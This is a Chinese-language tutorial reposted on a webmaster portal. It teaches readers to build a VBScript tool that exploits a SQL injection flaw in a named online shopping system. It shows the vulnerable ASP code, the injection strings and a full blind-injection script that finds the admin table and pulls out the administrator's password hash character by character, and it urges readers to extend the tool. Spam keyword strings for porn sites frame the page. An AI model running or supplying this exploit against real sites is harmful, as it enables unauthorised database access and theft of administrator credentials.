精品免费在线观看-精品欧美-精品欧美成人bd高清在线观看-精品欧美高清不卡在线-精品欧美日韩一区二区

17站長網

17站長網 首頁 安全 入侵防御 查看內容

談VBS在Hacking中的作用———SQL Inject中的應用

2022-9-26 10:55| 查看: 2058 |來源: 互聯網

平常我們遇到有注入漏洞一類的網站大部分人都是用NBSI Or 阿D一類的注射工具。但有的站點的注射點很難構造,或者說注射語句比較特殊。如果用手工去注射的話,費時又費力!但自己寫針對性的工具的話,對一些剛入門不
平常我們遇到有注入漏洞一類的網站大部分人都是用NBSI Or 阿D一類的注射工具。但有的站點的注射點很難構造,或者說注射語句比較特殊。如果用手工去注射的話,費時又費力!但自己寫針對性的工具的話,對一些剛入門不久或不會編程的朋友來說,實在是一件很痛苦的事情。因此今天NP給大家帶來的文章就是講如何用簡單的VBS腳本來打造我們所要的注射工具。
在您繼續看這篇文章之前,我先大膽的假設此時的您已經學會了VBS腳本的基礎知識以及基本的SQL Inject知識。
首先,我們先來看一段有漏洞的代碼。(此代碼摘自“網趣網上購物系統時尚版 v3.2”的Getpwd2.asp的片段)

<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
If rs.eof Then
%>

已知管理員表為admin 密碼字段為password
有經驗的朋友可以很清楚的看到第6句的SQL語句把沒有經過任何過濾的Username變量,直接提交執行了。這是一個很經典的SQL Inject漏洞。那么我們如何去利用這個漏洞呢?
由于username變量是用request.form獲取的,而我們知道request.form只接受POST提交上來的數據,因此我們不能像往常一樣構造如下語句進行注射了。
http://127.0.0.1/getpwd2.asp?username=' or 0<>(select count(*) from admin) and ''='
//直接在URL地址欄輸入的話,由于是GET提交數據,Getpwd2.asp是不會接收數據的。
看到這,您或許會說,那用NBSI中的POST提交功能呢?
經過測試把http://127.0.0.1/getpwd2.asp?username= 填入NBSI地址欄,使用POST提交,NBSI會說“注入破解失敗”

由于語句的關系,NBSI無法幫我們跑出相關密碼。阿D就不用說了,全用GET…也無法幫我們完成任務.
現在我們再測試下手工注射!
我們將如下語句填入getpwd.asp的表單中:
' or 0<>(select count(*) from admin) and ''='

返回正確提示,說明我們注射成功!

OK,架設的環境已經大體分析清楚了….我們開始進入主題.
VBS 的注射腳本需要用到XmlHttp組件和ADODB.Stream組件,請確保您機器上存在這兩個組件!(默認系統自帶,但由于去年ADODB.Stream網頁木馬的事件,很多機器的 ADODB.Stream組件被刪除了,所以寫此注射腳本時,請保證該組件可以使用)
On error resume next
if (lcase(right(wscript.fullname,11))="wscript.exe") then

wscript.echo "Execute it under the cmd.exe Plz! Thx."

wscript.quit
end if
‘//上面的IF語句是判斷腳本執行程序是否為wscript.exe,如果是則提示對方到CMD下執行
URL=lcase(trim(Wscript.Arguments(0)))
‘//簡單過濾提交參數的兩邊空格以及轉換成全小寫.
RightW = "這個用戶沒有注冊"
‘//這個是定義判斷猜對與否的關鍵字
if url <> "" then

'猜解管理員表

data = "' or 0<>(select count(*) from admin) and ''='"

GetHTTPPage(url)

If len(GetHTTPPage(url)) <5 then

wscript.echo "Error...Please checking the url!"

wscript.quit

end if

‘//上面這個IF語句,主要是判斷反饋信息,如果反饋信息的長度少于5,那說明提交的URL有問題,需要退出重新檢查后再注射.

If Instr(GetHTTPPage(url), RightW) = 0 then

Wscript.echo "Table name ""admin"" find"

else

wscript.echo "Not found table name ...exit..."

wscript.quit

end If
‘//如果發現關鍵字,則報告表名猜解正確,否則退出!

'猜解密碼字段

data ="' or 0<>(select count(password) from admin) and ''='"

GetHTTPPage(url)

If Instr(GetHTTPPage(url), RightW) = 0 then

WScript.Echo ""

Wscript.echo "The Column name ""password"" find"

else

wscript.echo "Not found Column name ...exit..."

wscript.quit

End If
‘//猜解密碼字段亦同!

'猜解密碼

WScript.Echo ""

WScript.Echo "Start guessing,Waiting... ..."

WScript.Echo ""

pwd=""

strings="0123456789abcdef" '定義密碼范圍(構成md5值的主要字符)

For i=1 To 16 Step 1

wscript.echo "Guessing
No. "&i&"... ..."

For k=1 To Len(strings) Step 1

data ="' or (select asc(mid(password,"&i&",1)) from admin where adminid=4)=asc("""&mid(strings,k,1)&""") and ''='"

GetHTTPPage(url)

If Instr(GetHTTPPage(url), RightW) = 0 then

pwd = pwd&Mid(strings,k,1)

Exit For

End If

Next

Next
‘//此腳本之精華之處,嵌套循環猜解密碼!
‘//依次取密碼與構成MD5的主要16個字符的ASC值進行對比
‘//正確則給PWD附值并跳出單循環,繼續下一個猜解

wscript.echo "--------------------------------------------------------------------------------"

wscript.echo "Guessing over!!!"

If error Then

Wscript.echo "error:" & Error.Description

Error.Clear

Else

Wscript.echo "Password is:" & pwd

End if
‘//輸出已經猜解成功的密碼

else

wscript.echo "--------------------------------------------------------------------------------"

wscript.echo "e.g
cscript getpass.vbs http://127.0.0.1/getpwd2.asp"

wscript.echo "--------------------------------------------------------------------------------"

End if
‘//以下是注射的POST提交函數
‘//用ADODB.Stream轉換編碼,速度比較快,對于反饋數據多的站點比較有優勢!
Function GetHTTPPage(url)

dim XmlHttp

set XmlHttp=createobject("Msxml2.XMLHTTP")

XmlHttp.open "POST",url,false

xmlHttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded"

XmlHttp.send("username="&data)

if XmlHttp.readystate<>4 then exit function

GetHTTPPage=Bytes2bStr(xmlHttp.responsebody)

set XmlHttp=nothing

if err.number<>0 then err.Clear
End Function

Function Bytes2bStr(vin)

Dim BytesStream,StringReturn

Set BytesStream = CreateObject("ADODB.Stream")

BytesStream.Type = 2

BytesStream.Open

BytesStream.WriteText vin

BytesStream.Position = 0

BytesStream.Charset = "GB2312"

BytesStream.Position = 2

StringReturn =BytesStream.ReadText

BytesStream.close

Set BytesStream = Nothing

Bytes2bStr = StringReturn
End Function

注意事項:要提交的SQL語句,空格需要用加號替換,否則在有的機器上無法猜解!
以上就是我們自己針對性打造的注射工具了.
使用方法也很簡單,在CMD下執行
Cscript getpass.vbs http://127.0.0.1/getpwd2.asp 即可!
怎么樣?是不是很簡單呢?
您或許還會說,為什么沒猜管理員的用戶名字段和相關ID呢?呵呵,這就留個大家當作業吧.
您可以添加如下功能:
自動判斷管理員的用戶名字段
自動判斷管理員的用戶名所在的有效ID值
可猜解指定的ID.
更深入的過濾及檢測URL是否有效.
多說無意…行動最實際! Go Go Go…開始打造你自己的注射程序
本文最后更新于 2022-9-26 10:55,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯系站長:17tui@17tui.com
·END·
站長網微信號:w17tui,關注站長、創業、關注互聯網人 - 互聯網創業者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 欧美一区二区在线观看免费网站 | 国内自拍视频一区二区三区 | 久久五月视频 | 国产成人精品日本亚洲语音 | 国产日韩欧美在线观看 | 亚洲色图日韩精品 | 国产黄在线观看免费观看软件视频 | 黄色影院| 欧美亚洲国产视频 | 善良的翁熄日本2 | 国产一区二区三区视频 | 国产专区视频在线观看 | 91久久综合九色综合欧美亚洲 | 最新在线精品国自拍视频 | 日韩欧美一区二区三区四区 | 成年黄页网站视频全免费 | 免费观看污污视频 | 九九免费精品视频在这里 | 国产一级一片 | 午夜激情在线视频 | 欧美三级伦理片 | 欧美日韩免费在线视频 | 国产伦子一区二区三区四区 | 国产精品一区二区免费福利视频 | 女人被男人狂躁免费视频 | 小明永久免费看aⅴ片 | 国产欧美二区三区 | 91亚洲人成手机在线观看 | 最新国产在线播放 | 国产精品亚洲综合一区 | 欧美一级毛片一免费 | 国产精品你懂得 | 草草久 | 精品在线观看免费 | 亚洲黄色免费网站 | 国产精品成人一区二区不卡 | 亚洲精品免费观看 | 免费久福利视频在线观看 | 久久99精品久久久久久青青日本 | 国产精品久久久免费视频 | 欧美日韩永久久一区二区三区 |